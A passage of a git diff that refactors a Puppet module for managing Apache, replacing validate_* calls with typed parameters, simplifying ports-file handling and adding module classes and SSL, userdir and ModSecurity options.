+ $mpm_module = $::apache::params::mpm_module,
+ $lib_path = $::apache::params::lib_path,
+ $conf_template = $::apache::params::conf_template,
+ $servername = $::apache::params::servername,
+ $pidfile = $::apache::params::pidfile,
+ Optional[Stdlib::Absolutepath] $rewrite_lock = undef,
+ Boolean $manage_user = true,
+ Boolean $manage_group = true,
+ $user = $::apache::params::user,
+ $group = $::apache::params::group,
+ $http_protocol_options = $::apache::params::http_protocol_options,
+ $supplementary_groups = [],
+ $keepalive = $::apache::params::keepalive,
+ $keepalive_timeout = $::apache::params::keepalive_timeout,
+ $max_keepalive_requests = $::apache::params::max_keepalive_requests,
+ $limitreqfieldsize = '8190',
+ $logroot = $::apache::params::logroot,
+ $logroot_mode = $::apache::params::logroot_mode,
+ $log_level = $::apache::params::log_level,
+ $log_formats = {},
+ $ssl_file = undef,
+ $ports_file = $::apache::params::ports_file,
+ $docroot = $::apache::params::docroot,
+ $apache_version = $::apache::version::default,
+ $server_tokens = 'OS',
+ $server_signature = 'On',
+ $trace_enable = 'On',
+ Optional[Enum['on', 'off', 'nodecode']] $allow_encoded_slashes = undef,
+ $file_e_tag = undef,
+ $package_ensure = 'installed',
+ Boolean $use_optional_includes = $::apache::params::use_optional_includes,
+ $use_systemd = $::apache::params::use_systemd,
+ $mime_types_additional = $::apache::params::mime_types_additional,
+ $file_mode = $::apache::params::file_mode,
+ $root_directory_options = $::apache::params::root_directory_options,
+ Boolean $root_directory_secured = false,
+ $error_log = $::apache::params::error_log,
+ $scriptalias = $::apache::params::scriptalias,
+ $access_log_file = $::apache::params::access_log_file,
) inherits ::apache::params {
- validate_bool($default_vhost)
- validate_bool($default_ssl_vhost)
- validate_bool($default_confd_files)
- # true/false is sufficient for both ensure and enable
- validate_bool($service_enable)
- validate_bool($service_manage)
- validate_bool($use_optional_includes)
- validate_bool($root_directory_secured)
$valid_mpms_re = $apache_version ? {
'2.4' => '(event|itk|peruser|prefork|worker)',
default => '(event|itk|prefork|worker)'
}
- if $mpm_module and $mpm_module != 'false' { # lint:ignore:quoted_booleans
- validate_re($mpm_module, $valid_mpms_re)
+ if $::osfamily == 'RedHat' and $::apache::version::distrelease == '7' {
+ # On redhat 7 the ssl.conf lives in /etc/httpd/conf.d (the confd_dir)
+ # when all other module configs live in /etc/httpd/conf.modules.d (the
+ # mod_dir). On all other platforms and versions, ssl.conf lives in the
+ # mod_dir. This should maintain the expected location of ssl.conf
+ $_ssl_file = $ssl_file ? {
+ undef => "${apache::confd_dir}/ssl.conf",
+ default => $ssl_file
+ }
+ } else {
+ $_ssl_file = $ssl_file ? {
+ undef => "${apache::mod_dir}/ssl.conf",
+ default => $ssl_file
+ }
}
- if $allow_encoded_slashes {
- validate_re($allow_encoded_slashes, '(^on$|^off$|^nodecode$)', "${allow_encoded_slashes} is not permitted for allow_encoded_slashes. Allowed values are 'on', 'off' or 'nodecode'.")
+ if $mpm_module and $mpm_module != 'false' { # lint:ignore:quoted_booleans
+ assert_type(Pattern[$valid_mpms_re], $mpm_module)
}
# NOTE: on FreeBSD it's mpm module's responsibility to install httpd package.
@@ -126,15 +133,14 @@ class apache (
# declare the web server user and group
# Note: requiring the package means the package ought to create them and not puppet
- validate_bool($manage_user)
if $manage_user {
user { $user:
ensure => present,
gid => $group,
+ groups => $supplementary_groups,
require => Package['httpd'],
}
}
- validate_bool($manage_group)
if $manage_group {
group { $group:
ensure => present,
@@ -249,19 +255,17 @@ class apache (
$vhost_load_dir = $vhost_dir
}
- if $overwrite_ports {
- concat { $ports_file:
- ensure => present,
- owner => 'root',
- group => $::apache::params::root_group,
- mode => $::apache::file_mode,
- notify => Class['Apache::Service'],
- require => Package['httpd'],
- }
- concat::fragment { 'Apache ports header':
- target => $ports_file,
- content => template('apache/ports_header.erb'),
- }
+ concat { $ports_file:
+ ensure => present,
+ owner => 'root',
+ group => $::apache::params::root_group,
+ mode => $::apache::file_mode,
+ notify => Class['Apache::Service'],
+ require => Package['httpd'],
+ }
+ concat::fragment { 'Apache ports header':
+ target => $ports_file,
+ content => template('apache/ports_header.erb'),
}
if $::apache::conf_dir and $::apache::params::conf_file {
@@ -299,10 +303,6 @@ class apache (
default => false
}
- if $rewrite_lock {
- validate_absolute_path($rewrite_lock)
- }
-
# Template uses:
# - $pidfile
# - $user
@@ -317,6 +317,7 @@ class apache (
# - $error_documents
# - $error_documents_path
# - $apxs_workaround
+ # - $http_protocol_options
# - $keepalive
# - $keepalive_timeout
# - $max_keepalive_requests
@@ -330,7 +331,7 @@ class apache (
ensure => file,
content => template($conf_template),
notify => Class['Apache::Service'],
- require => [Package['httpd']],
+ require => [Package['httpd'], Concat[$ports_file]],
}
# preserve back-wards compatibility to the times when default_mods was
diff --git a/modules/services/unix/http/apache/manifests/listen.pp b/modules/services/unix/http/apache/manifests/listen.pp
index 9730d3c75..503ee8860 100644
--- a/modules/services/unix/http/apache/manifests/listen.pp
+++ b/modules/services/unix/http/apache/manifests/listen.pp
@@ -1,25 +1,9 @@
-define apache::listen ($port='') {
+define apache::listen {
$listen_addr_port = $name
- if defined(Concat[$::apache::ports_file]){
- # Template uses: $listen_addr_port
- concat::fragment { "Listen ${listen_addr_port}":
- target => $::apache::ports_file,
- content => template('apache/listen.erb'),
- }
- } elsif $port != '80' {
- # Create a temporary file
- # join with cat $tmp_file >> $file
- # remove tmp files
- $ports_file = $::apache::ports_file
- $tmp_file = "$ports_file-tmp_listen"
- file { $tmp_file:
- ensure => file,
- content => template('apache/listen.erb'),
- }
-
- exec { "apache::listen: cat $tmp_file with ports.conf":
- command => "/bin/cat $tmp_file >> $ports_file;/bin/rm $tmp_file"
- }
+ # Template uses: $listen_addr_port
+ concat::fragment { "Listen ${listen_addr_port}":
+ target => $::apache::ports_file,
+ content => template('apache/listen.erb'),
}
}
diff --git a/modules/services/unix/http/apache/manifests/mod.pp b/modules/services/unix/http/apache/manifests/mod.pp
index 8958d1276..ddef130c8 100644
--- a/modules/services/unix/http/apache/manifests/mod.pp
+++ b/modules/services/unix/http/apache/manifests/mod.pp
@@ -46,7 +46,7 @@ define apache::mod (
}
# Determine if we have a package
- $mod_packages = $::apache::params::mod_packages
+ $mod_packages = $::apache::mod_packages
if $package {
$_package = $package
} elsif has_key($mod_packages, $mod) { # 2.6 compatibility hack
diff --git a/modules/services/unix/http/apache/manifests/mod/auth_cas.pp b/modules/services/unix/http/apache/manifests/mod/auth_cas.pp
index 673cfb103..00de62242 100644
--- a/modules/services/unix/http/apache/manifests/mod/auth_cas.pp
+++ b/modules/services/unix/http/apache/manifests/mod/auth_cas.pp
@@ -1,7 +1,7 @@
class apache::mod::auth_cas (
- $cas_login_url,
- $cas_validate_url,
- $cas_cookie_path = $::apache::params::cas_cookie_path,
+ String $cas_login_url,
+ String $cas_validate_url,
+ String $cas_cookie_path = $::apache::params::cas_cookie_path,
$cas_cookie_path_mode = '0750',
$cas_version = 2,
$cas_debug = 'Off',
@@ -25,8 +25,6 @@ class apache::mod::auth_cas (
$suppress_warning = false,
) inherits ::apache::params {
- validate_string($cas_login_url, $cas_validate_url, $cas_cookie_path)
-
if $::osfamily == 'RedHat' and ! $suppress_warning {
warning('RedHat distributions do not have Apache mod_auth_cas in their default package repositories.')
}
diff --git a/modules/services/unix/http/apache/manifests/mod/authnz_ldap.pp b/modules/services/unix/http/apache/manifests/mod/authnz_ldap.pp
index 033c1be51..cc9ab67f0 100644
--- a/modules/services/unix/http/apache/manifests/mod/authnz_ldap.pp
+++ b/modules/services/unix/http/apache/manifests/mod/authnz_ldap.pp
@@ -1,26 +1,17 @@
# lint:ignore:variable_is_lowercase required for compatibility
class apache::mod::authnz_ldap (
- $verify_server_cert = true,
- $verifyServerCert = undef,
- $package_name = undef,
+ Boolean $verify_server_cert = true,
+ $package_name = undef,
) {
+
include ::apache
include '::apache::mod::ldap'
::apache::mod { 'authnz_ldap':
package => $package_name,
}
- if $verifyServerCert {
- warning('Class[\'apache::mod::authnz_ldap\'] parameter verifyServerCert is deprecated in favor of verify_server_cert')
- $_verify_server_cert = $verifyServerCert
- } else {
- $_verify_server_cert = $verify_server_cert
- }
-
- validate_bool($_verify_server_cert)
-
# Template uses:
- # - $_verify_server_cert
+ # - $verify_server_cert
file { 'authnz_ldap.conf':
ensure => file,
path => "${::apache::mod_dir}/authnz_ldap.conf",
diff --git a/modules/services/unix/http/apache/manifests/mod/authnz_pam.pp b/modules/services/unix/http/apache/manifests/mod/authnz_pam.pp
new file mode 100644
index 000000000..c2672126d
--- /dev/null
+++ b/modules/services/unix/http/apache/manifests/mod/authnz_pam.pp
@@ -0,0 +1,4 @@
+class apache::mod::authnz_pam {
+ include ::apache
+ ::apache::mod { 'authnz_pam': }
+}
diff --git a/modules/services/unix/http/apache/manifests/mod/cgi.pp b/modules/services/unix/http/apache/manifests/mod/cgi.pp
index a41bb6deb..272f0ccd0 100644
--- a/modules/services/unix/http/apache/manifests/mod/cgi.pp
+++ b/modules/services/unix/http/apache/manifests/mod/cgi.pp
@@ -2,7 +2,9 @@ class apache::mod::cgi {
case $::osfamily {
'FreeBSD': {}
default: {
- Class['::apache::mod::prefork'] -> Class['::apache::mod::cgi']
+ if $::apache::mpm_module =~ /^(itk|peruser|prefork)$/ {
+ Class["::apache::mod::${::apache::mpm_module}"] -> Class['::apache::mod::cgi']
+ }
}
}
diff --git a/modules/services/unix/http/apache/manifests/mod/cluster.pp b/modules/services/unix/http/apache/manifests/mod/cluster.pp
index a3a9f6c63..442b58352 100644
--- a/modules/services/unix/http/apache/manifests/mod/cluster.pp
+++ b/modules/services/unix/http/apache/manifests/mod/cluster.pp
@@ -9,6 +9,7 @@ class apache::mod::cluster (
$manager_allowed_network = '127.0.0.1',
$max_keep_alive_requests = 0,
$server_advertise = true,
+ $advertise_frequency = undef,
) {
include ::apache
diff --git a/modules/services/unix/http/apache/manifests/mod/dir.pp b/modules/services/unix/http/apache/manifests/mod/dir.pp
index e41aa86ad..3c994d3e1 100644
--- a/modules/services/unix/http/apache/manifests/mod/dir.pp
+++ b/modules/services/unix/http/apache/manifests/mod/dir.pp
@@ -2,10 +2,10 @@
# Parameters:
# - $indexes provides a string for the DirectoryIndex directive http://httpd.apache.org/docs/current/mod/mod_dir.html#directoryindex
class apache::mod::dir (
- $dir = 'public_html',
- $indexes = ['index.html','index.html.var','index.cgi','index.pl','index.php','index.xhtml'],
+ $dir = 'public_html',
+ Array[String] $indexes = ['index.html','index.html.var','index.cgi','index.pl','index.php','index.xhtml'],
) {
- validate_array($indexes)
+
include ::apache
::apache::mod { 'dir': }
diff --git a/modules/services/unix/http/apache/manifests/mod/dumpio.pp b/modules/services/unix/http/apache/manifests/mod/dumpio.pp
index 62276162d..c79f6da38 100644
--- a/modules/services/unix/http/apache/manifests/mod/dumpio.pp
+++ b/modules/services/unix/http/apache/manifests/mod/dumpio.pp
@@ -1,10 +1,8 @@
class apache::mod::dumpio(
- $dump_io_input = 'Off',
- $dump_io_output = 'Off',
+ Enum['Off', 'On', 'off', 'on'] $dump_io_input = 'Off',
+ Enum['Off', 'On', 'off', 'on'] $dump_io_output = 'Off',
) {
include ::apache
- validate_re(downcase($dump_io_input), '^(on|off)$', "${dump_io_input} is not supported for dump_io_input. Allowed values are 'On' and 'Off'.")
- validate_re(downcase($dump_io_output), '^(on|off)$', "${dump_io_output} is not supported for dump_io_output. Allowed values are 'On' and 'Off'.")
::apache::mod { 'dumpio': }
file{'dumpio.conf':
diff --git a/modules/services/unix/http/apache/manifests/mod/ext_filter.pp b/modules/services/unix/http/apache/manifests/mod/ext_filter.pp
index aa14c1025..11550320c 100644
--- a/modules/services/unix/http/apache/manifests/mod/ext_filter.pp
+++ b/modules/services/unix/http/apache/manifests/mod/ext_filter.pp
@@ -1,10 +1,7 @@
class apache::mod::ext_filter(
- $ext_filter_define = undef
+ Optional[Hash] $ext_filter_define = undef
) {
include ::apache
- if $ext_filter_define {
- validate_hash($ext_filter_define)
- }
::apache::mod { 'ext_filter': }
diff --git a/modules/services/unix/http/apache/manifests/mod/intercept_form_submit.pp b/modules/services/unix/http/apache/manifests/mod/intercept_form_submit.pp
new file mode 100644
index 000000000..39f1f5e07
--- /dev/null
+++ b/modules/services/unix/http/apache/manifests/mod/intercept_form_submit.pp
@@ -0,0 +1,4 @@
+class apache::mod::intercept_form_submit {
+ include ::apache
+ ::apache::mod { 'intercept_form_submit': }
+}
diff --git a/modules/services/unix/http/apache/manifests/mod/ldap.pp b/modules/services/unix/http/apache/manifests/mod/ldap.pp
index c3fbb2611..3e5159222 100644
--- a/modules/services/unix/http/apache/manifests/mod/ldap.pp
+++ b/modules/services/unix/http/apache/manifests/mod/ldap.pp
@@ -1,19 +1,17 @@
class apache::mod::ldap (
- $apache_version = undef,
- $package_name = undef,
- $ldap_trusted_global_cert_file = undef,
- $ldap_trusted_global_cert_type = 'CA_BASE64',
- $ldap_shared_cache_size = undef,
- $ldap_cache_entries = undef,
- $ldap_cache_ttl = undef,
- $ldap_opcache_entries = undef,
- $ldap_opcache_ttl = undef,
+ $apache_version = undef,
+ $package_name = undef,
+ $ldap_trusted_global_cert_file = undef,
+ Optional[String] $ldap_trusted_global_cert_type = 'CA_BASE64',
+ $ldap_shared_cache_size = undef,
+ $ldap_cache_entries = undef,
+ $ldap_cache_ttl = undef,
+ $ldap_opcache_entries = undef,
+ $ldap_opcache_ttl = undef,
){
+
include ::apache
$_apache_version = pick($apache_version, $apache::apache_version)
- if ($ldap_trusted_global_cert_file) {
- validate_string($ldap_trusted_global_cert_type)
- }
::apache::mod { 'ldap':
package => $package_name,
}
diff --git a/modules/services/unix/http/apache/manifests/mod/lookup_identity.pp b/modules/services/unix/http/apache/manifests/mod/lookup_identity.pp
new file mode 100644
index 000000000..445c60ef2
--- /dev/null
+++ b/modules/services/unix/http/apache/manifests/mod/lookup_identity.pp
@@ -0,0 +1,4 @@
+class apache::mod::lookup_identity {
+ include ::apache
+ ::apache::mod { 'lookup_identity': }
+}
diff --git a/modules/services/unix/http/apache/manifests/mod/passenger.pp b/modules/services/unix/http/apache/manifests/mod/passenger.pp
index 35b4eff22..3b17d3db3 100644
--- a/modules/services/unix/http/apache/manifests/mod/passenger.pp
+++ b/modules/services/unix/http/apache/manifests/mod/passenger.pp
@@ -1,40 +1,35 @@
class apache::mod::passenger (
- $passenger_conf_file = $::apache::params::passenger_conf_file,
- $passenger_conf_package_file = $::apache::params::passenger_conf_package_file,
- $passenger_high_performance = undef,
- $passenger_pool_idle_time = undef,
- $passenger_max_request_queue_size = undef,
- $passenger_max_requests = undef,
- $passenger_spawn_method = undef,
- $passenger_stat_throttle_rate = undef,
- $rack_autodetect = undef,
- $rails_autodetect = undef,
- $passenger_root = $::apache::params::passenger_root,
- $passenger_ruby = $::apache::params::passenger_ruby,
- $passenger_default_ruby = $::apache::params::passenger_default_ruby,
- $passenger_max_pool_size = undef,
- $passenger_min_instances = undef,
- $passenger_max_instances_per_app = undef,
- $passenger_use_global_queue = undef,
- $passenger_app_env = undef,
- $passenger_log_file = undef,
- $passenger_log_level = undef,
- $passenger_data_buffer_dir = undef,
- $manage_repo = true,
- $mod_package = undef,
- $mod_package_ensure = undef,
- $mod_lib = undef,
- $mod_lib_path = undef,
- $mod_id = undef,
- $mod_path = undef,
+ $passenger_conf_file = $::apache::params::passenger_conf_file,
+ $passenger_conf_package_file = $::apache::params::passenger_conf_package_file,
+ $passenger_high_performance = undef,
+ $passenger_pool_idle_time = undef,
+ $passenger_max_request_queue_size = undef,
+ $passenger_max_requests = undef,
+ Optional[Enum['smart', 'direct', 'smart-lv2', 'conservative']] $passenger_spawn_method = undef,
+ $passenger_stat_throttle_rate = undef,
+ $rack_autodetect = undef,
+ $rails_autodetect = undef,
+ $passenger_root = $::apache::params::passenger_root,
+ $passenger_ruby = $::apache::params::passenger_ruby,
+ $passenger_default_ruby = $::apache::params::passenger_default_ruby,
+ $passenger_max_pool_size = undef,
+ $passenger_min_instances = undef,
+ $passenger_max_instances_per_app = undef,
+ $passenger_use_global_queue = undef,
+ $passenger_app_env = undef,
+ Optional[Stdlib::Absolutepath] $passenger_log_file = undef,
+ $passenger_log_level = undef,
+ $passenger_data_buffer_dir = undef,
+ $manage_repo = true,
+ $mod_package = undef,
+ $mod_package_ensure = undef,
+ $mod_lib = undef,
+ $mod_lib_path = undef,
+ $mod_id = undef,
+ $mod_path = undef,
) inherits ::apache::params {
+
include ::apache
- if $passenger_spawn_method {
- validate_re($passenger_spawn_method, '(^smart$|^direct$|^smart-lv2$|^conservative$)', "${passenger_spawn_method} is not permitted for passenger_spawn_method. Allowed values are 'smart', 'direct', 'smart-lv2', or 'conservative'.")
- }
- if $passenger_log_file {
- validate_absolute_path($passenger_log_file)
- }
# Managed by the package, but declare it to avoid purging
if $passenger_conf_package_file {
diff --git a/modules/services/unix/http/apache/manifests/mod/php.pp b/modules/services/unix/http/apache/manifests/mod/php.pp
index 9b3b5b8b6..c7c004888 100644
--- a/modules/services/unix/http/apache/manifests/mod/php.pp
+++ b/modules/services/unix/http/apache/manifests/mod/php.pp
@@ -1,14 +1,15 @@
class apache::mod::php (
- $package_name = undef,
- $package_ensure = 'present',
- $path = undef,
- $extensions = ['.php'],
- $content = undef,
- $template = 'apache/mod/php.conf.erb',
- $source = undef,
- $root_group = $::apache::params::root_group,
- $php_version = $::apache::params::php_version,
+ $package_name = undef,
+ $package_ensure = 'present',
+ $path = undef,
+ Array $extensions = ['.php'],
+ $content = undef,
+ $template = 'apache/mod/php.conf.erb',
+ $source = undef,
+ $root_group = $::apache::params::root_group,
+ $php_version = $::apache::params::php_version,
) inherits apache::params {
+
include ::apache
$mod = "php${php_version}"
@@ -21,7 +22,6 @@ class apache::mod::php (
else {
fail('apache::mod::php requires apache::mod::prefork or apache::mod::itk; please enable mpm_module => \'prefork\' or mpm_module => \'itk\' on Class[\'apache\']')
}
- validate_array($extensions)
if $source and ($content or $template != 'apache/mod/php.conf.erb') {
warning('source and content or template parameters are provided. source parameter will be used')
@@ -38,7 +38,7 @@ class apache::mod::php (
}
# Determine if we have a package
- $mod_packages = $::apache::params::mod_packages
+ $mod_packages = $::apache::mod_packages
if $package_name {
$_package_name = $package_name
} elsif has_key($mod_packages, $mod) { # 2.6 compatibility hack
diff --git a/modules/services/unix/http/apache/manifests/mod/proxy_balancer.pp b/modules/services/unix/http/apache/manifests/mod/proxy_balancer.pp
index fdb4b831a..dbc86df42 100644
--- a/modules/services/unix/http/apache/manifests/mod/proxy_balancer.pp
+++ b/modules/services/unix/http/apache/manifests/mod/proxy_balancer.pp
@@ -1,12 +1,9 @@
class apache::mod::proxy_balancer(
- $manager = false,
- $manager_path = '/balancer-manager',
- $allow_from = ['127.0.0.1','::1'],
- $apache_version = $::apache::apache_version,
+ Boolean $manager = false,
+ Stdlib::Absolutepath $manager_path = '/balancer-manager',
+ Array $allow_from = ['127.0.0.1','::1'],
+ $apache_version = $::apache::apache_version,
) {
- validate_bool($manager)
- validate_string($manager_path)
- validate_array($allow_from)
include ::apache::mod::proxy
include ::apache::mod::proxy_http
diff --git a/modules/services/unix/http/apache/manifests/mod/proxy_html.pp b/modules/services/unix/http/apache/manifests/mod/proxy_html.pp
index f4f4b4411..94259bd77 100644
--- a/modules/services/unix/http/apache/manifests/mod/proxy_html.pp
+++ b/modules/services/unix/http/apache/manifests/mod/proxy_html.pp
@@ -5,7 +5,7 @@ class apache::mod::proxy_html {
# Add libxml2
case $::osfamily {
- /RedHat|FreeBSD|Gentoo/: {
+ /RedHat|FreeBSD|Gentoo|Suse/: {
::apache::mod { 'xml2enc': }
$loadfiles = undef
}
diff --git a/modules/services/unix/http/apache/manifests/mod/security.pp b/modules/services/unix/http/apache/manifests/mod/security.pp
index 4fab44650..95c58a033 100644
--- a/modules/services/unix/http/apache/manifests/mod/security.pp
+++ b/modules/services/unix/http/apache/manifests/mod/security.pp
@@ -24,6 +24,7 @@ class apache::mod::security (
$secrequestbodylimit = '13107200',
$secrequestbodynofileslimit = '131072',
$secrequestbodyinmemorylimit = '131072',
+ $manage_security_crs = true,
) inherits ::apache::params {
include ::apache
@@ -53,7 +54,7 @@ class apache::mod::security (
if $crs_package {
package { $crs_package:
- ensure => 'latest',
+ ensure => 'installed',
before => [
File[$::apache::confd_dir],
File[$modsec_dir],
@@ -104,25 +105,27 @@ class apache::mod::security (
notify => Class['apache::service'],
}
- # Template uses:
- # - $_secdefaultaction
- # - $critical_anomaly_score
- # - $error_anomaly_score
- # - $warning_anomaly_score
- # - $notice_anomaly_score
- # - $inbound_anomaly_threshold
- # - $outbound_anomaly_threshold
- # - $anomaly_score_blocking
- # - $allowed_methods
- # - $content_types
- # - $restricted_extensions
- # - $restricted_headers
- # - $secrequestmaxnumargs
- file { "${modsec_dir}/security_crs.conf":
- ensure => file,
- content => template('apache/mod/security_crs.conf.erb'),
- require => File[$modsec_dir],
- notify => Class['apache::service'],
+ if $manage_security_crs {
+ # Template uses:
+ # - $_secdefaultaction
+ # - $critical_anomaly_score
+ # - $error_anomaly_score
+ # - $warning_anomaly_score
+ # - $notice_anomaly_score
+ # - $inbound_anomaly_threshold
+ # - $outbound_anomaly_threshold
+ # - $anomaly_score_blocking
+ # - $allowed_methods
+ # - $content_types
+ # - $restricted_extensions
+ # - $restricted_headers
+ # - $secrequestmaxnumargs
+ file { "${modsec_dir}/security_crs.conf":
+ ensure => file,
+ content => template('apache/mod/security_crs.conf.erb'),
+ require => File[$modsec_dir],
+ notify => Class['apache::service'],
+ }
}
unless $::operatingsystem == 'SLES' { apache::security::rule_link { $activated_rules: } }
diff --git a/modules/services/unix/http/apache/manifests/mod/shib.pp b/modules/services/unix/http/apache/manifests/mod/shib.pp
index 60104d690..318a3a340 100644
--- a/modules/services/unix/http/apache/manifests/mod/shib.pp
+++ b/modules/services/unix/http/apache/manifests/mod/shib.pp
@@ -17,4 +17,4 @@ class apache::mod::shib (
package => $package_name,
lib => $mod_lib,
}
-}
\ No newline at end of file
+}
diff --git a/modules/services/unix/http/apache/manifests/mod/ssl.pp b/modules/services/unix/http/apache/manifests/mod/ssl.pp
index 92c456360..d27b6b8ee 100644
--- a/modules/services/unix/http/apache/manifests/mod/ssl.pp
+++ b/modules/services/unix/http/apache/manifests/mod/ssl.pp
@@ -1,20 +1,24 @@
class apache::mod::ssl (
- $ssl_compression = false,
- $ssl_cryptodevice = 'builtin',
- $ssl_options = [ 'StdEnvVars' ],
- $ssl_openssl_conf_cmd = undef,
- $ssl_cipher = 'HIGH:MEDIUM:!aNULL:!MD5:!RC4',
- $ssl_honorcipherorder = true,
- $ssl_protocol = [ 'all', '-SSLv2', '-SSLv3' ],
- $ssl_pass_phrase_dialog = 'builtin',
- $ssl_random_seed_bytes = '512',
- $ssl_sessioncachetimeout = '300',
- $ssl_stapling = false,
- $ssl_stapling_return_errors = undef,
- $ssl_mutex = undef,
- $apache_version = undef,
- $package_name = undef,
-) {
+ Boolean $ssl_compression = false,
+ $ssl_cryptodevice = 'builtin',
+ $ssl_options = [ 'StdEnvVars' ],
+ $ssl_openssl_conf_cmd = undef,
+ $ssl_ca = undef,
+ $ssl_cipher = 'HIGH:MEDIUM:!aNULL:!MD5:!RC4:!3DES',
+ Variant[Boolean, Enum['on', 'off']] $ssl_honorcipherorder = true,
+ $ssl_protocol = [ 'all', '-SSLv2', '-SSLv3' ],
+ Array $ssl_proxy_protocol = [],
+ $ssl_pass_phrase_dialog = 'builtin',
+ $ssl_random_seed_bytes = '512',
+ String $ssl_sessioncache = $::apache::params::ssl_sessioncache,
+ $ssl_sessioncachetimeout = '300',
+ Boolean $ssl_stapling = false,
+ Optional[Boolean] $ssl_stapling_return_errors = undef,
+ $ssl_mutex = undef,
+ $apache_version = undef,
+ $package_name = undef,
+) inherits ::apache::params {
+
include ::apache
include ::apache::mod::mime
$_apache_version = pick($apache_version, $apache::apache_version)
@@ -49,8 +53,6 @@ class apache::mod::ssl (
}
}
- validate_bool($ssl_compression)
-
if is_bool($ssl_honorcipherorder) {
$_ssl_honorcipherorder = $ssl_honorcipherorder
} else {
@@ -61,20 +63,6 @@ class apache::mod::ssl (
}
}
- $session_cache = $::osfamily ? {
- 'debian' => "\${APACHE_RUN_DIR}/ssl_scache(512000)",
- 'redhat' => '/var/cache/mod_ssl/scache(512000)',
- 'freebsd' => '/var/run/ssl_scache(512000)',
- 'gentoo' => '/var/run/ssl_scache(512000)',
- 'Suse' => '/var/lib/apache2/ssl_scache(512000)'
- }
-
- validate_bool($ssl_stapling)
-
- if $ssl_stapling_return_errors != undef {
- validate_bool($ssl_stapling_return_errors)
- }
-
$stapling_cache = $::osfamily ? {
'debian' => "\${APACHE_RUN_DIR}/ocsp(32768)",
'redhat' => '/run/httpd/ssl_stapling(32768)',
@@ -107,11 +95,12 @@ class apache::mod::ssl (
#
# $ssl_compression
# $ssl_cryptodevice
+ # $ssl_ca
# $ssl_cipher
# $ssl_honorcipherorder
# $ssl_options
# $ssl_openssl_conf_cmd
- # $session_cache
+ # $ssl_sessioncache
# $stapling_cache
# $ssl_mutex
# $ssl_random_seed_bytes
@@ -119,7 +108,7 @@ class apache::mod::ssl (
# $_apache_version
file { 'ssl.conf':
ensure => file,
- path => $::apache::ssl_file,
+ path => $::apache::_ssl_file,
mode => $::apache::file_mode,
content => template('apache/mod/ssl.conf.erb'),
require => Exec["mkdir ${::apache::mod_dir}"],
diff --git a/modules/services/unix/http/apache/manifests/mod/status.pp b/modules/services/unix/http/apache/manifests/mod/status.pp
index d30a690de..54d0d8887 100644
--- a/modules/services/unix/http/apache/manifests/mod/status.pp
+++ b/modules/services/unix/http/apache/manifests/mod/status.pp
@@ -26,15 +26,14 @@
# }
#
class apache::mod::status (
- $allow_from = ['127.0.0.1','::1'],
- $extended_status = 'On',
- $apache_version = undef,
- $status_path = '/server-status',
+ Array $allow_from = ['127.0.0.1','::1'],
+ Enum['On', 'Off', 'on', 'off'] $extended_status = 'On',
+ $apache_version = undef,
+ $status_path = '/server-status',
) inherits ::apache::params {
+
include ::apache
$_apache_version = pick($apache_version, $apache::apache_version)
- validate_array($allow_from)
- validate_re(downcase($extended_status), '^(on|off)$', "${extended_status} is not supported for extended_status. Allowed values are 'On' and 'Off'.")
::apache::mod { 'status': }
# Template uses $allow_from, $extended_status, $_apache_version, $status_path
file { 'status.conf':
diff --git a/modules/services/unix/http/apache/manifests/mod/userdir.pp b/modules/services/unix/http/apache/manifests/mod/userdir.pp
index 11e7cd5be..203b93dd1 100644
--- a/modules/services/unix/http/apache/manifests/mod/userdir.pp
+++ b/modules/services/unix/http/apache/manifests/mod/userdir.pp
@@ -1,13 +1,30 @@
class apache::mod::userdir (
- $home = '/home',
- $dir = 'public_html',
+ $home = undef,
+ $dir = undef,
$disable_root = true,
$apache_version = undef,
+ $path = '/home/*/public_html',
+ $overrides = [ 'FileInfo', 'AuthConfig', 'Limit', 'Indexes' ],
$options = [ 'MultiViews', 'Indexes', 'SymLinksIfOwnerMatch', 'IncludesNoExec' ],
) {
include ::apache
$_apache_version = pick($apache_version, $apache::apache_version)
+ if $home or $dir {
+ $_home = $home ? {
+ undef => '/home',
+ default => $home,
+ }
+ $_dir = $dir ? {
+ undef => 'public_html',
+ default => $dir,
+ }
+ warning('home and dir are deprecated; use path instead')
+ $_path = "${_home}/*/${_dir}"
+ } else {
+ $_path = $path
+ }
+
::apache::mod { 'userdir': }
# Template uses $home, $dir, $disable_root, $_apache_version
diff --git a/modules/services/unix/http/apache/manifests/mod/wsgi.pp b/modules/services/unix/http/apache/manifests/mod/wsgi.pp
index e726bcfaa..6f9d4379a 100644
--- a/modules/services/unix/http/apache/manifests/mod/wsgi.pp
+++ b/modules/services/unix/http/apache/manifests/mod/wsgi.pp
@@ -1,9 +1,10 @@
class apache::mod::wsgi (
- $wsgi_socket_prefix = $::apache::params::wsgi_socket_prefix,
- $wsgi_python_path = undef,
- $wsgi_python_home = undef,
- $package_name = undef,
- $mod_path = undef,
+ $wsgi_restrict_embedded = undef,
+ $wsgi_socket_prefix = $::apache::params::wsgi_socket_prefix,
+ $wsgi_python_path = undef,
+ $wsgi_python_home = undef,
+ $package_name = undef,
+ $mod_path = undef,
) inherits ::apache::params {
include ::apache
if ($package_name != undef and $mod_path == undef) or ($package_name == undef and $mod_path != undef) {
@@ -26,6 +27,7 @@ class apache::mod::wsgi (
}
# Template uses:
+ # - $wsgi_restrict_embedded
# - $wsgi_socket_prefix
# - $wsgi_python_path
# - $wsgi_python_home
diff --git a/modules/services/unix/http/apache/manifests/namevirtualhost.pp b/modules/services/unix/http/apache/manifests/namevirtualhost.pp
index d89cb0c5b..4fa879518 100644
--- a/modules/services/unix/http/apache/manifests/namevirtualhost.pp
+++ b/modules/services/unix/http/apache/manifests/namevirtualhost.pp
@@ -1,31 +1,9 @@
-define apache::namevirtualhost ($port=''){
+define apache::namevirtualhost {
$addr_port = $name
- if defined(Concat[$::apache::ports_file]){
- # Template uses: $addr_port
- concat::fragment { "NameVirtualHost ${addr_port}":
- target => $::apache::ports_file,
- content => template('apache/namevirtualhost.erb'),
- }
- } elsif $port != '80' { # if a second vhost is declared off port 80
- # Create a temporary file
- # join with cat $tmp_file >> $file
- # remove tmp files
- $ports_file = $::apache::ports_file
- $tmp_file = "$ports_file-tmp_nvh"
- file { $tmp_file:
- ensure => file,
- content => template('apache/namevirtualhost.erb'),
- }
-
- exec { "apache::listen: cat $tmp_file with ports.conf":
- command => "/bin/cat $tmp_file >> $ports_file;/bin/rm $tmp_file",
- require => File[$tmp_file]
- }
-
- } else { # if a second vhost is declared on port 80
- tidy { 'remove apache default site':
- path =>'/etc/apache2/sites-enabled/000-default',
- }
+ # Template uses: $addr_port
+ concat::fragment { "NameVirtualHost ${addr_port}":
